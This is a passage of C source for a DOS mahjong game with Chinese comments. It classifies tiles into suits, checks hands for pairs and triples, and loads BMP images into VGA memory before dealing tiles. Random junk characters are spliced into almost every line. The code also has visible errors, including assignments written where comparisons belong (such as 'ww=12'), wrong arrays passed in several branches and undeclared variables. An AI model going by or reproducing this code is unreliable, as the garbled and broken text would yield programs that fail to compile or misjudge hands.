else if(me.pp.number<=123 && me.pp.number>=120)# x* [2 E" c% `- o
{
. E2 ^7 `/ t- B- plgg=4;( a/ Z$ \+ ~! B- a) B
me.pp.d[1]=4;) v% {7 D; @) @0 C2 B
}
9 W7 {! o* {9 ~5 `else if(me.pp.number<=127 && me.pp.number>=124)" ^1 K$ P' p8 ]7 o
{
- w7 x( \* @4 o. S2 ]lgg=5;4 \/ m8 }) A& R( E) _! K/ Z
me.pp.d[1]=5;
8 @. O; l: H3 J+ D+ _}+ J* u# i& D: N/ X
else if(me.pp.number<=131 && me.pp.number>=128)
4 v. h1 i/ n; z6 Q( o" b{
, G- K( L# q6 G2 L& Plgg=6;
; t$ t5 V9 |0 s7 Kme.pp.d[1]=6;
/ J# \ y3 x+ Y. k1 V( g}4 [2 }" j4 l2 _; E4 O9 _
else if(me.pp.number<=135 && me.pp.number>=132)0 \7 \/ W* Y0 k7 d% }- \
{
3 Q' b G2 E4 s2 ?8 e; k/ Algg=7;& Q7 T) @( B" A
me.pp.d[1]=7;- P+ e S$ T0 U9 q; ?5 b
}: v- f2 x- u9 m! C- S9 x
}+ K. @( B* d. }. `
}
}
+ a1 Z; T. H; a9 J* j) wvoid istwo(testt)# E5 ]5 A t% h
int testt[];
$ H9 i- A {+ r9 z; @- {{ if(testt[0]==testt[1])
8 Y; ?0 d! |3 z+ Wsecond++;
& Q& F {- H- ~2 W}9 K2 z/ N: b2 ?5 R9 i8 t# c
void isthree(testt,n)8 q3 n$ J2 j5 o+ n; q/ _
int testt[],n=0;
9 `6 n8 ~* a' @- L" `& I$ e{ int i,j,flage=0,lianx=0,same=0;
& _! `+ ]" g! \' S- en=n/3;4 k* u- j0 r4 x6 m" |
for(j=0;j<n;j++)7 R. V$ O5 m8 J0 L2 M7 Q
{6 a, m! q5 j1 t
for(i=j*3;i<2+j*3;i++)
$ u T* I* S7 q& d, [* h6 w+ t{
$ ?, J* n# R+ Z: D$ B. G4 @if(testt==testt[i+1])1 y7 l2 J) |8 Y, y
same++;
4 @ i$ m5 b, y4 ]" b5 ^if(testt[i+1]-testt==1)
& d6 U: r t0 I/ M* s# `4 ^" k' Plianx++;
2 y, u0 V, M d2 ~}
. P3 D' r& y4 a1 b$ X2 x7 tif(same==2)- ^$ U6 R E* _; k+ E3 o) n& k9 W6 o
threes++; p V1 D9 r5 _, O) O/ f$ k
if(lianx==2)# ]3 V+ m2 \" q/ q/ p
threes++;
- u- f V( z; m, S- U" tsame=0;
2 K$ g( A3 p9 H: O. Nlianx=0;
% [/ ^, b8 k6 x0 U! D: G* F}
7 ^7 a6 [; A5 K1 i}- P7 |; Z) P& i, D+ b# L% E/ N! i
void panduan() /*本程序的精髓*/
) K' n) T( R# A{int data[14];+ E( ]8 |4 ?0 [4 _6 B$ e
int pw[14];. A+ F( t/ C, m' s: Y
int pt[14];
' Y7 h8 s, }& x* A) ^6 xint pi[14];4 I# Q+ f9 k, d/ R' x6 d( [7 B- M7 ~
int pf[14];& m# s! e( n5 b, ]
int test[12];9 H5 |$ s5 ^. b, D; F
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
$ E, O4 n; F5 \8 rfor(jj=0;jj<=me.m;jj++)' x0 ?. ~0 l: x
{; X9 i8 R# I9 E! t2 ? T' {3 l" o7 d
if(me.pp[jj].d[0]==1)
, y3 e+ K1 z& G0 ~6 D Xdata[jj]=me.pp[jj].d[1];
! p$ F& q2 A' [: {if(me.pp[jj].d[0]==2). l; B0 l/ i( x4 _
data[jj]=me.pp[jj].d[1]+10;
" l1 W; R, \7 P( C0 `/ V1 J+ {1 _if(me.pp[jj].d[0]==3)( @/ A0 s7 n! T+ i
data[jj]=me.pp[jj].d[1]+20;
# X" K: E: |/ Fif(me.pp[jj].d[0]==4)* @# x# c4 N# [
data[jj]=me.pp[jj].d[1]+30;- U4 q G, e8 w. p
}
1 \' Z% n; `2 Bif(logo==2)1 w8 g- { E2 I; d+ M
w=logoo+10;7 {! g. p" B( y; h
if(logo==3)
$ Z9 e' G+ [7 J. }" \1 p% Ow=logoo+20;% V8 _2 o0 f5 P O
if(logo==4)
w=logoo+30;# E1 A: K8 A3 z; a4 [( ^" Y5 }) m
data[computer.m+1]=w;/ l; I7 P. w5 o. P' P( Y: x1 A
for(mm=0;mm<=computer.m;mm++)0 M: ^* G; E/ G- U6 a9 W. t0 ]0 R. N+ j
for(nn=mm;nn<=computer.m;nn++)
6 G: d+ k: g m! iif(data[mm]>data[nn+1])
 J2 i6 e! [9 u# C{2 g% I1 E+ L/ b. k9 w( q
tpp=data[mm];( q, C0 v: L' `7 e$ V1 U( F
data[mm]=data[nn+1];" }: R& H: O: x0 j" `
data[nn+1]=tpp;9 \3 l& c5 m9 A) B: c
}/ W: K# k2 q( F) C+ E6 x B) X
lp=0;% ?& o X0 k" s* n
while(lp<=computer.m)
% j3 `1 O5 u0 ?4 C' D{ if(data[lp]<10)3 ]/ y0 o- X/ s7 p+ o1 Q2 Z
pw[ww++]=data[lp];0 t3 q6 i6 I9 {" O8 [0 U8 T( ]
if(data[lp]>10 && data[lp]<20)
0 S. t. b6 V- X# p7 o( }9 Gpt[tt++]=data[lp];
2 {$ c! o' a @/ h( b3 ~if(data[lp]>20 && data[lp]<30)& `8 R8 `8 D4 x& T ^
pi[ii++]=data[lp];( z) z8 o% L/ n I" `/ n" P" [% n
if(data[lp]>30 && data[lp]<38)
, W, O& ~- B7 t" d% B6 T- h& Kpf[ff++]=data[lp];
) [( l/ `) N% Blp++;
2 J3 c6 V+ n7 J: H8 X}
0 C7 l, e$ a1 B& n, e8 Hif(ww==2)( O" y/ |2 X# F: s u9 e5 ]. ~
istwo(pw);! x# s0 Z* i: }6 w- K/ q- V8 Y. B
else if(ww==3)% L. e, b6 A# O& @& x
isthree(pw,ww);# x7 l- a, U, u B9 f" E
else if(ww==5)
) ]; {5 a8 c& f: W# k: e5 j( x/*pw[5]原始牌数组，假设已经升序排列*/
0 n8 B: n1 h O* D1 o$ h/ o$ w/*test[3]用来放置测试牌的数组*/, S/ P% n- M! Y" S) c
for(i=0;i<4;i++)
' C4 d; u" L5 ]1 S8 T1 I1 [# w2 t{& b1 _/ |5 V; T9 m8 l* b% f" E
for(j=0;j<2;j++)' A9 M0 b! W4 ~& N [
{test[j]=pw[i+j];5 U& f/ H4 O2 C' o& _1 F
}
- D3 v P2 `* E& l% n& G: C0 m% Yif(istwo(test))9 s0 h7 o" ^+ U
{ ill=0;1 D/ X/ L% q2 b4 ^ `
for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/1 v, Y$ K4 ]3 a2 L, e* k
{if(kl==i)
, y; k% }3 [+ [ A{( q5 l: |# H9 A b- K" B/ g9 u" e
kl=kl+2;
( b6 ]6 Z% g$ c5 }: _' a$ Y/ W4 Nif(kl==5)
" U1 c* c- w; r. y% Abreak;
$ V' w" E+ e$ x& z}; c% ?! C! W$ j5 V B* R
test[ill++]=pw[kl];
3 L9 P( i6 z- p+ t}. S* C, g% d9 U: P
isthree(test);
3 P# s% s+ x; D" G* I; v$ ~% {' x}) Y7 U0 N" Q6 F, L( L
}& A3 I' |- o8 c1 ]0 G
else if(ww==6)
! C( Y6 v* s7 g6 G3 L7 |isthree(pw,ww); 8 n% @7 K; l, J* D
else if(ww==8)7 i% f3 R8 Y7 ~& ]# k8 N! n. T
for(i=0;i<7;i++)
& p! Q: f7 x2 r5 X' {; U# ~{8 U! f0 c: V2 U# m+ g
for(j=0;j<2;j++): u0 W! v Y4 {. H5 T1 I7 d$ I! }1 I
{test[j]=pw[i+j];
% Y+ x7 e3 s/ g" E" V}& C2 B+ H- H* e- b: h+ `- X
if(istwo(test)); P, t- c6 ^0 l7 G3 y( Q
{ ill=0;
 ?1 v3 Q% H* w* U- sfor(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/. ]' q: K& b i" s B& J
{if(kl==i)
- F. u( a; T& K# T{
# v8 y5 ?3 B+ a( Y: p& Y4 G2 ~kl=kl+2;
7 B6 d5 d# _; o6 R6 Z& H, @if(kl==8)" @1 `" i' I/ d1 r- a- K3 s
break;
; v+ S& M0 a% {# J* P+ T}
2 w! m7 t( D9 ?# ?test[ill++]=pw[kl];
* U5 Z. R6 e, b, C) j1 r+ X G& G. T}, y! `) V! b& H. ^0 ]6 O3 P% O
isthree(test,ww-2);
) e4 c' T- K( L}
, y. z! h3 A& q4 R% O' ]2 I}
2 @( N) F7 R5 h. t7 Selse if(ww==9)* z9 _1 w- }; z5 _- c" g
isthree(pw,ww);2 A# {% K* O, l" p7 w
else if(ww==11)7 p, h1 i, }# C& L1 [- k5 {
for(i=0;i<10;i++)
3 V9 }8 K# [ |7 |( K; ^ P{
5 ^7 T6 O7 W, ?for(j=0;j<2;j++)
; X5 {" f8 z, v! O4 G{test[j]=pw[i+j];
* G1 j9 L' v3 h; u0 h}
if(istwo(test))
: U2 y' ?* w9 i& e) t3 u/ Z{ ill=0;4 U: i; J b0 P u. H
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
7 u2 H. X/ h4 u& Z4 P: y( s. q{if(kl==i)& d/ `3 c+ j* U7 b
{
: V8 D" b( f( i5 F7 v/ A; {9 fkl=kl+2;) m; n; u( Z& F2 V" |$ f" f
if(kl==11)
7 N+ Y1 ]$ X# E I/ n ibreak;5 F6 n/ E- x2 s+ _
}) M1 { e0 y8 O' f# C/ D
test[ill++]=pw[kl];
5 a7 _- G& v2 I4 G1 j$ v}
' \# K6 ~1 Q2 V2 f0 @isthree(test,ww-2); ( A' Y: `- @7 o: }9 v
}/ m6 \( ^* L8 l. x
} : D3 O0 Z& ]/ K6 I) K4 v
else if(ww=12)" s8 E$ d4 }1 ?2 Y
isthree(pw,ww);( N. G: L0 T$ w# r' f4 x! g7 R
else if(ww=14)1 f3 @+ }- j; _& F
for(i=0;i<13;i++) D1 {& o5 a# T6 f3 c# s6 X$ U& D
{' }* s) ~) |8 r9 f! z" I4 U" `0 j
for(j=0;j<2;j++)1 N8 ?4 B4 a5 h) t4 a8 f9 I
{test[j]=pw[i+j];% x% a# |( v9 G7 i/ D
}
) S. t ^$ B/ nif(istwo(test))
4 y$ F9 A5 N& T4 c9 S{ ill=0;
. w) O/ d8 X l% r' [/ lfor(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/1 _, v7 `3 H. }' V+ [6 q
{if(kl==i)$ u9 }9 y$ _( X; y; u6 U( v
{- G. w/ q$ {* N( `9 j! Z: x4 u
kl=kl+2;* u7 W0 p- N1 f0 M
if(kl==14)
( B' t5 _$ _( \8 d( o! a9 i8 Zbreak;$ j+ K$ P; H6 a
}6 O8 v$ w' |, ^$ e. b
test[ill++]=pw[kl];. H$ Y5 T. d, L) X3 q
}
- `3 p* t- P) i5 w3 nisthree(test,ww-2);
' N, r$ v5 J9 \: p* S}* _. z/ T2 O' E; i* G1 S
}
. \! N- D3 ?/ rif(tt==2)
; D& n |6 e R$ W3 xistwo(pt);
: A# F( s* {# _! C/ k0 K3 [5 r5 m; kelse if(tt==3)- Q8 D1 v, ~$ l7 O' `
isthree(pt,tt);
& g; Q, i6 e0 n/ ielse if(tt==5)
4 ]2 L% e% p7 p& E/*pt[5]原始牌数组，假设已经升序排列*/
3 w1 Q8 W( \9 A, Y! @/*test[3]用来放置测试牌的数组*/) D6 D& a8 ?3 _5 ?6 Z
for(i=0;i<4;i++)0 d! d; q+ U# O6 C H4 w/ z
{
 q' ]% d: B. l. ?+ L& Mfor(j=0;j<2;j++): w# P1 n- K3 V/ g' z
{test[j]=pt[i+j];
' f$ g; L# Q! {! K! w2 N8 T}* p( T n4 @7 d0 z( M. E
if(istwo(test))& @7 X% y% c: e& k
{ ill=0;
4 ?2 u+ q9 O L. rfor(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/' S0 [% T, k$ d' Z7 D
{if(kl==i)
{' E# |" d- k0 ~3 x5 M
kl=kl+2;
if(kl==5)# ?( @8 r3 L1 M
break;# b1 n3 \! M( V' { P' a
}& Q( b! V2 b' @0 d/ v
test[ill++]=pt[kl];
1 S6 u5 d) Y9 i1 ?}. ~5 A! g2 c# n; g/ f. B
isthree(test);
1 h: F$ K, |0 H: Y5 T9 G4 F}
! d, F9 q5 ~4 q. D}
 r0 A) b4 |% t9 I4 i' g. ^7 Zelse if(tt==6)
6 A0 D7 [5 }1 B+ C9 Zisthree(pt,tt); 7 \6 s5 p0 f6 n+ @7 n9 M
else if(tt==8): v( j/ L+ X$ M+ G3 T$ A
for(i=0;i<7;i++)
5 |; S. E' U! B+ e{) t, \; I' w" u. d5 h
for(j=0;j<2;j++)6 R9 w7 ]* ?9 C! Z
{test[j]=pt[i+j];
( i5 e+ U* F3 \5 `* p}
5 i6 d3 c$ `% G: F" Z' |2 g7 Rif(istwo(test))+ A/ a! k& R+ G! h1 o: O6 C8 S
{ ill=0;9 G! }) P/ j: L8 l
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
+ m: O) d7 `; L* G) d{if(kl==i)( Y4 n7 S l8 R4 e
{
( H* W( r3 J3 ~8 t2 d7 ]kl=kl+2;
. G! I j& e. ]. c; O$ o0 V9 `! H' Dif(kl==8)
! d# i# F+ e6 o0 G6 n* @break;) h# G+ D3 Q5 Z2 Z/ G6 D8 Y
}' i9 R* p: j5 @, e
test[ill++]=pt[kl];
! {# J: I3 @% b+ |}/ W' r9 ~) T& W8 N9 S% Q, Q/ G% e
isthree(test,tt-2);
" u( i: v: u1 C9 X* d" e}
# d- X5 {) l ~) E) _5 [" Y}
" V& ]' U. X! |& o2 N8 d# helse if(tt==9)$ O( f! J3 \9 p, a! w* z
isthree(pt,tt);
' i8 k) t. @. H# gelse if(tt==11)
. {2 P6 u! C6 F0 _9 x ifor(i=0;i<10;i++) \4 F# Q$ [! x8 B
{) P0 H, Z8 X5 z
for(j=0;j<2;j++)+ U8 w. ^$ G- Y3 G" Q( ]/ k
{test[j]=pt[i+j];
/ X$ m7 h! R; F! `1 `6 a/ `}! B) ]: x5 L* K1 }9 m# l1 Q
if(istwo(test))" [0 E% k0 R) S K. Y# P
{ ill=0;0 c+ j* ~% e* G8 L' m! @
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/: P6 h7 w1 q' w# q- {) Q
{if(kl==i)$ C: D5 s; U8 @8 e A9 k+ |
{# J7 j. W9 j" t1 b/ o* t
kl=kl+2;) E5 _( b1 U: f1 A
if(kl==11)
7 G! [7 s3 a( ? l* Gbreak;1 T: F6 |/ ]1 i L& q0 |' i" R' {; r
}' P" V( \: W$ ?/ F% L
test[ill++]=pt[kl];
} ]4 @9 E4 o2 Y: p9 c
isthree(test,tt-2); 0 s3 h+ x$ {( z$ X
}
! a6 V" ^$ X5 r# W7 Z2 \- x) ~- }}
7 N0 N) Q2 m, selse if(tt=12) v& a6 L' t6 e( S l. R5 Q4 x* L7 R
isthree(pt,tt);
+ |) l; x! d6 Qelse if(tt=14)% k+ u9 Z. Y7 z) @
for(i=0;i<13;i++)
5 \ X8 D3 h) Q& z{
/ z; V- t/ i5 d( ^for(j=0;j<2;j++)
. n3 n. x- L( C5 T{test[j]=pt[i+j]; : Q1 |- \! o5 K% M0 K m7 ^
}5 t$ C U& P# m- L$ V
if(istwo(test))
2 ?; c2 Z6 Q8 i, M1 f{ ill=0;( F+ d( M; b2 P& M% |
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/9 B6 ]! w) a9 M0 h6 y. b- U7 Q$ X
{if(kl==i)
4 K! |7 D9 q* D$ K1 a{' t/ w- n Q4 U5 M& o
kl=kl+2; Y9 r, i; k& s& l- @9 y* o
if(kl==14)- m# P, s' ^- L, q+ L
break;! X8 O( m9 B( k) g0 D; v3 G: w
}
" Z9 i8 S- }8 c; ?9 rtest[ill++]=pt[kl];
5 h' S5 d! \5 v3 t}
* k5 ^/ _) @5 @3 Disthree(test,tt-2); 7 S! g4 s7 S8 r Y$ ?; D
}
; l% A; H! U4 n% Y3 d}8 L8 ~# Q5 r( b* N
if(ii==2)( J6 _8 v7 [' d. a9 S, {
istwo(pi);: L; b" i6 I- z# p- d
else if(ii==3)7 Z/ J+ ]) `9 D4 U" a! t/ Q4 _
isthree(pi,ii);' c# Y; \( n' ? Z' K
else if(ii==5)1 D( r0 m6 b5 ]# r6 F+ C# V
/*pi[5]原始牌数组，假设已经升序排列*/
# l% I( M- l V) J @( X/*test[3]用来放置测试牌的数组*/
- c! a% |: e; ?' u2 S) C" V3 B4 i5 |; Ufor(i=0;i<4;i++)5 i) ]' p f* j2 y
{
$ o6 c7 B/ Q0 ]for(j=0;j<2;j++)
% S& d( {$ M; F5 j; G) P2 T$ c{test[j]=pi[i+j]; l" T. Q3 T8 L# H; q6 h
}0 u9 u4 G, t& K6 p' g- ~
if(istwo(test))
( C; {; R" R) q; W. z* c" a{ ill=0;
* s7 w! G$ {* L& D: `for(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/! t) r3 ?# ]* b8 x/ E8 s
{if(kl==i)
; F2 H$ s/ o+ x7 h! t5 |{. Q0 u, S; s. i! H/ C3 y) J) V8 ~& E
kl=kl+2;6 C. ^ Z& L+ [
if(kl==5)
: a1 k7 M% i& m$ I, R) Ebreak;3 P; `3 N. K6 T6 g, e* q
}# _' d. G. S& b( ?
test[ill++]=pw[kl];
, \: N' y$ d. U0 z( V S& v4 E}
: t: `: ^4 T* n7 Y( k! L7 j2 z2 ~isthree(test);
1 f6 W# }- s: ^3 U}( D5 o/ y; S4 ^4 R* E$ w7 J( I
}
- M' s# O6 ?1 M2 ?6 jelse if(ii==6); k5 v; u% U8 l! ], T7 z
isthree(pi,ii);
0 T; l! B. s! C" m0 Ielse if(ii==8)/ J- F2 z9 R; z& ~. }: y+ X
for(i=0;i<7;i++)% e# K! N( w J
{
3 r: c, Z2 H. a, efor(j=0;j<2;j++)6 c/ V7 v8 P" v% f
{test[j]=pi[i+j];
) h3 l6 D% o- |" i( }' }2 r}9 B# z- q. T+ B' |
if(istwo(test))
5 x& z! i) s9 R3 _{ ill=0;
: q5 r- r* H: U. c* ifor(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/+ l' f& X) q4 O" M& R4 C' p7 A6 V
{if(kl==i)! P. c& Y; O5 q% E: G, n
{
2 Z# A& y/ m9 rkl=kl+2;6 r; B4 ]# A! s; B& d
if(kl==8)
: \: P0 l0 @5 V% _/ j8 vbreak;
: P4 {; H3 a9 y, @3 Q) x}" r j# t: |+ ~7 s5 I
test[ill++]=pi[kl];
2 H4 ^% f$ B4 j! K# J( K* K}
& ]! b9 v+ ~$ H( Histhree(test,ii-2);$ @2 h8 ?& a. A& R8 ^
}, ?) D8 d7 U4 ^9 Z: o
} 1 I/ g/ u/ i/ S% `, l3 x
else if(ii==9)" f$ |# [9 \3 e' H
isthree(pi,ii);; J4 j/ j; o2 ?' A
else if(ii==11)
* ~' v$ D4 ~4 Tfor(i=0;i<10;i++)
. W/ z- W0 {! G* {: E{
; B6 K" Q- e' W0 P" h+ S6 w6 J, pfor(j=0;j<2;j++): Q+ Z' v- \% V! _4 y
{test[j]=pi[i+j]; - B& O2 {3 _, {3 a% s
}5 n( Y) H8 Z7 u( B* w: g. @
if(istwo(test))' V0 i$ O" J/ t8 j
{ ill=0;" K* e v5 t5 c$ h z$ [! R) B) v1 P
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
1 K$ w3 \: H; p g" h/ G- y{if(kl==i)
+ p3 I8 X; Q3 j: U3 a{% X; h# U6 {+ g5 B d% |
kl=kl+2;1 O4 ~& G* G0 Y5 _% p; a* B6 P: A' }" E
if(kl==11)
7 C8 S/ D x' G: obreak;! ]* j8 T' k0 x; M
}
8 W+ i* u: ]) a ^! q+ ktest[ill++]=pi[kl];
: @' E# \3 U' Y4 D7 { M}5 P+ h5 B0 w; V* S2 J* P
isthree(test,ii-2);
" a6 ~6 P5 x6 D, F9 w) A}: I: T0 }, [! d% R0 K
}
$ r3 d$ `0 g; z* D4 Ielse if(ii=12)
7 B9 I: Q/ `3 ]/ g! j) u; G8 Iisthree(pi,ii);
8 k& g. }: H- l3 z1 Relse if(ii=14)
" P4 ~' j7 a% Z( ]1 T4 C5 zfor(i=0;i<13;i++)9 [% r- a* c* I) U7 t8 ^+ N/ M
{
8 p' t5 Y7 B6 I1 Cfor(j=0;j<2;j++), p3 Q) |$ G# u( c
{test[j]=pi[i+j];
; W0 z7 t" Q; h) [. N; o}
8 n2 Y( R* `9 c: qif(istwo(test))
2 L+ q! [3 Q; m3 U: U5 O+ ~{ ill=0;; m# N2 m8 B$ {" H2 y1 b
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/: X$ {' z' _# W& f, J! r. g
{if(kl==i)1 E k5 G& C0 x+ n. `
{
& i+ b2 j7 n X' Bkl=kl+2;
4 e6 B* J; j' z& s8 |if(kl==14)& @7 A- f& U# [7 i3 _: Y* J
break;- t- p9 o2 U& t& y. s( f& L! t
}" M; G& h) [4 K2 Q4 ` V7 G
test[ill++]=pi[kl];
) s$ W5 Q8 T& A, h' I# A}: o0 h; i7 S! \$ Y" u
isthree(test,ii-2); / s/ g2 E- X: S! U c; ^8 \2 {& I5 e
}& P0 c; ?; ^1 }
}
8 Q' I8 `2 L# `& o0 f6 h% {/ R1 yif(ff==2)
8 r: v. e' ]4 t- d1 @istwo(pf);, L$ x2 w( V" i" G& [5 {/ V
else if(ff==3)& |+ O8 W& G( j3 z
isthree(pf,ff);
+ t% X e3 q# b+ z9 ], z( v& yelse if(ff==5)
9 f5 B* S0 u# I( E& P/*pf[5]原始牌数组，假设已经升序排列*/0 g( r/ L3 q8 Y/ i
/*test[3]用来放置测试牌的数组*/
1 j$ P7 D' n! I, `for(i=0;i<4;i++)
# u3 b$ p+ I" z2 K6 I{
, m, d1 y$ P4 {% h* A6 W( |for(j=0;j<2;j++)9 W( a' \0 I: I1 u& l7 I- T S
{test[j]=pf[i+j]; 9 R# o" [% W* `) O2 O
}$ N3 s x7 V) L0 p3 }
if(istwo(test))
* {/ j# c v7 D g2 d' E{ ill=0;
: R7 }' V# b! j: Mfor(kl=0;kl<5;kl++) /*把不在test数组中的三张放到test数组中*/
7 L- F* l) W; q& X" s{if(kl==i)3 Q* ~8 [; g. B
{+ O# @8 s# t* `9 k; d0 `
kl=kl+2;9 q# ~. o; W# r3 q5 B7 P
if(kl==5)9 B& z9 L. \8 Z: L. h) g
break;: J' E: {) `$ V" N
}& ]% V* Q; a0 }3 b) W3 N0 N
test[ill++]=pf[kl];
1 O: R" I8 x( I% P) N( `& ?+ t}" v( k# S4 x0 T3 K
isthree(test);% K- u+ I3 G g: L6 u5 i# f
}
6 e0 i1 x# m' Y$ n! h}. C9 }. t+ e- C; W: j' y
else if(ff==6)
7 a, r k* @) \4 G+ }isthree(pf,ff); 0 s9 Z& x( q8 S- |; }/ y; E! j! J
else if(ff==8)
/ r6 {/ ~( W/ D3 |/ K* P+ V7 ^for(i=0;i<7;i++)4 E* H8 K+ l ]
{3 V9 k' p3 `. j- u. N
for(j=0;j<2;j++). }" j8 J: N; {* h
{test[j]=pf[i+j];
4 D+ d) U. p9 O' |0 \/ K}# J# x& \/ d& y
if(istwo(test))7 x0 X X& V# ^) B) c! J/ K+ p
{ ill=0;5 _- l* X5 I2 e- b/ z
for(kl=0;kl<8;kl++) /*把不在test数组中的六张放到test数组中*/
0 Y7 t; r4 Q8 C7 J{if(kl==i)
3 |5 V8 g- x3 R{9 c7 w/ F8 j: q; z1 l: M {& `
kl=kl+2;. l, Y3 U6 v/ @& U
if(kl==8) Y; f, t r" r! ~: D& X& O: Q
break;
: r) F- x2 V4 J1 P( D- }0 a}2 ^0 ~/ w6 P1 J
test[ill++]=pf[kl];
5 @6 P/ ]% s" G}% c7 g# ?! q# Q! E7 M' ~
isthree(test,ff-2);
8 X! _; X; w4 s}
. D/ ^; A2 p0 H}
8 s4 G3 A+ e( u' Q: z* ?) {2 e( ^else if(ff==9)1 V5 X* e/ `5 A) g2 w# N
isthree(pw,ww);
- U9 Z. I7 Y% q5 I4 r5 o5 [- oelse if(ff==11); c7 `$ ]; i Z, X
for(i=0;i<10;i++)+ R% B, @% X# W" Z7 T- @, v; {
{" e' D' \7 M' z! u
for(j=0;j<2;j++)
& p; V; g& L, j4 \5 D{test[j]=pf[i+j]; ' V! k8 ], M) V8 t7 h: Z
}/ ^* g) [3 a2 y5 |8 B: h- W, s
if(istwo(test))0 J" h: ~' U' C+ z) o0 a3 q/ @
{ ill=0;$ n4 [7 j7 Q' |0 _- M k' F
for(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/( F6 ^8 s: ]$ G- S. \. R8 I0 D. ~& H
{if(kl==i)
" V' q, Y3 n! y8 K{ r x: I7 R2 @+ L- h
kl=kl+2;3 Q( W" `( ?5 v' j
if(kl==11)
9 o# G# b+ b! Kbreak;2 g3 h" y. m2 H0 G8 G; ^; x7 @) G
}( H# |6 w Q8 @* r, o& o5 ?+ o! x O
test[ill++]=pf[kl];
% m) E& W; P9 F3 Y s k' n3 R6 i}+ P. _2 y3 {$ d- B F" q
isthree(test,ff-2);
& M6 v/ G7 c, C9 \6 C1 ]}8 S* T- I# q7 h. r! Y: N2 O! s
}
. K$ C2 X2 h' m3 _/ q* qelse if(ff=12)9 d8 N; n' u" z! b: |. ]3 T
isthree(pf,ff);7 x" [) i$ w( q# Q& D
else if(ff=14), l- V6 {7 M' P! j
for(i=0;i<13;i++)
/ @$ w! Y) N. T; `{
+ r! E* ?9 J- o6 M* Ofor(j=0;j<2;j++)- ^) p, E/ _: g' V$ K$ ]2 d
{test[j]=pf[i+j]; * s J+ Y& Z2 J6 `1 p4 g }
}
$ x4 m) W( H1 M7 P( T. l$ B5 sif(istwo(test))
+ I }* @ g; w4 a8 r{ ill=0;
0 K0 h' `2 `; d+ b0 i3 hfor(kl=0;kl<11;kl++) /*把不在test数组中的九张放到test数组中*/
9 s7 {: S- l: I; o{if(kl==i)1 {8 d/ `% m" S9 W1 S7 H
{
4 K* b. z6 r# r* y, ^) B& y& ckl=kl+2;9 }- p4 g: C& c3 n
if(kl==14). v$ n/ m/ a/ F9 R+ l# \
break; |2 [1 l2 c) _6 D' f- a u( `2 G5 H
}0 s4 H7 z* ? e" z% V4 f
test[ill++]=pf[kl];6 {. Z- `% M. `
}
2 x2 d1 U! ~4 k `( K4 bisthree(test,ff-2);7 \) S. f5 j# S( }) q" ~
}0 \/ j# b+ D* W* N
} 4 R6 D/ H0 }! L7 h5 g9 v
}
7 b0 q# [+ u# Ovoid main(void)6 j2 ]; c0 J' N$ G
{
9 U+ F* \0 A& h% U/ V7 d8 Y0 ?FILE *bmp;
$ P( z/ U/ g4 y9 a/ z) tstatic char *name[2]={"ff.bmp","logo.bmp"};
4 y# A) N2 H/ f& n0 A5 e. ochar *p;3 Q5 K- W, L8 c ^ L
int *lingshi;
& d5 t- N$ b+ Q/ s) fint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
$ g; D& K9 Z& t1 jint every=0,w=0,x1,x2,y1,y2,every1=0;
) [3 \# I. T& V, c9 p- iint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;3 s4 a {, a. }9 O# [& @
BYTE palette[256][3];1 E0 X Z2 y/ P# u4 b5 r! ?
SETVGA;
" f0 I* g* y* [4 S: Lgetch();
) k: }! P5 }! ` ^while(t--)
* G* s6 S( A9 p5 E" H& ^6 y{
/ m+ I& l2 W, N9 B! Cbmp=fopen(name[t],"rb");
: b9 d1 I: c! n/ X7 sfseek(bmp,54,SEEK_SET);
+ |" n. ~1 v1 U9 x& M5 P7 W7 p7 @for(i=0;i<256;i++)
- C, Y E* L& o" |2 P{
* X* |0 B1 y6 U2 s9 z8 Spalette[2]=fgetc(bmp)>>2;
) g) k) `" x) epalette[1]=fgetc(bmp)>>2;
% G8 F/ w- [4 C4 ?8 C' {! E6 qpalette[0]=fgetc(bmp)>>2;- n7 [' z- {0 N; z
fgetc(bmp);& H! i+ @1 s/ |
Set_Palette(i,palette[0],palette[1],palette[2]);, c- `, U4 B( j ?* b; L
}# x. a9 h& s, ]! D
for (y=0;y<200;y++)
$ Q# |" V8 [5 o* F% F2 A; r0 ifor(x=0;x<320;x++)
8 @/ N2 X! s6 x" O3 }pokeb(0xa000,y*320+x,fgetc(bmp));) k: h, o; T5 w6 d9 V
fclose(bmp);7 J& q5 G, T# u7 }; m. d
getch();& i+ ^3 c* _2 G
}
7 K1 z" E+ b/ T- ?getch();, W/ A0 T* z4 ?! z* A1 ]' ?/ b* ?& p
fillRectangle(0,0,320,200,0);3 y5 v. t2 N5 L* }
getch();$ I: M4 A# X2 ?3 v9 s. C
randomize();3 u# k# G; {0 i" t+ m8 r% K, y
me.m=onetothirteen;3 U4 _5 a* o% c, y! G
while(me.m>0) /*先循环，给自己拿牌*/" X( _* m% Q% p
{
/ C2 l5 Y- x# C( _+ v9 n- A& \) s7 m" ?! ?* t. f/ _4 Y$ q \
temp=random(136);. F5 N7 J/ D1 D. D: c, W; D
if(m[temp].data2==0 && m[temp].data1==0)4 ?3 W3 L, ]" Q* z3 _4 i
{+ T3 F" z6 c! I" X
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
( I$ s0 Q0 a7 d: V3 ?& U) Mme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
& P! C4 \( Q2 L6 Qme.pp[n].number=temp; /*第几张，用来排序*/9 Z- L- g- @2 y O# i
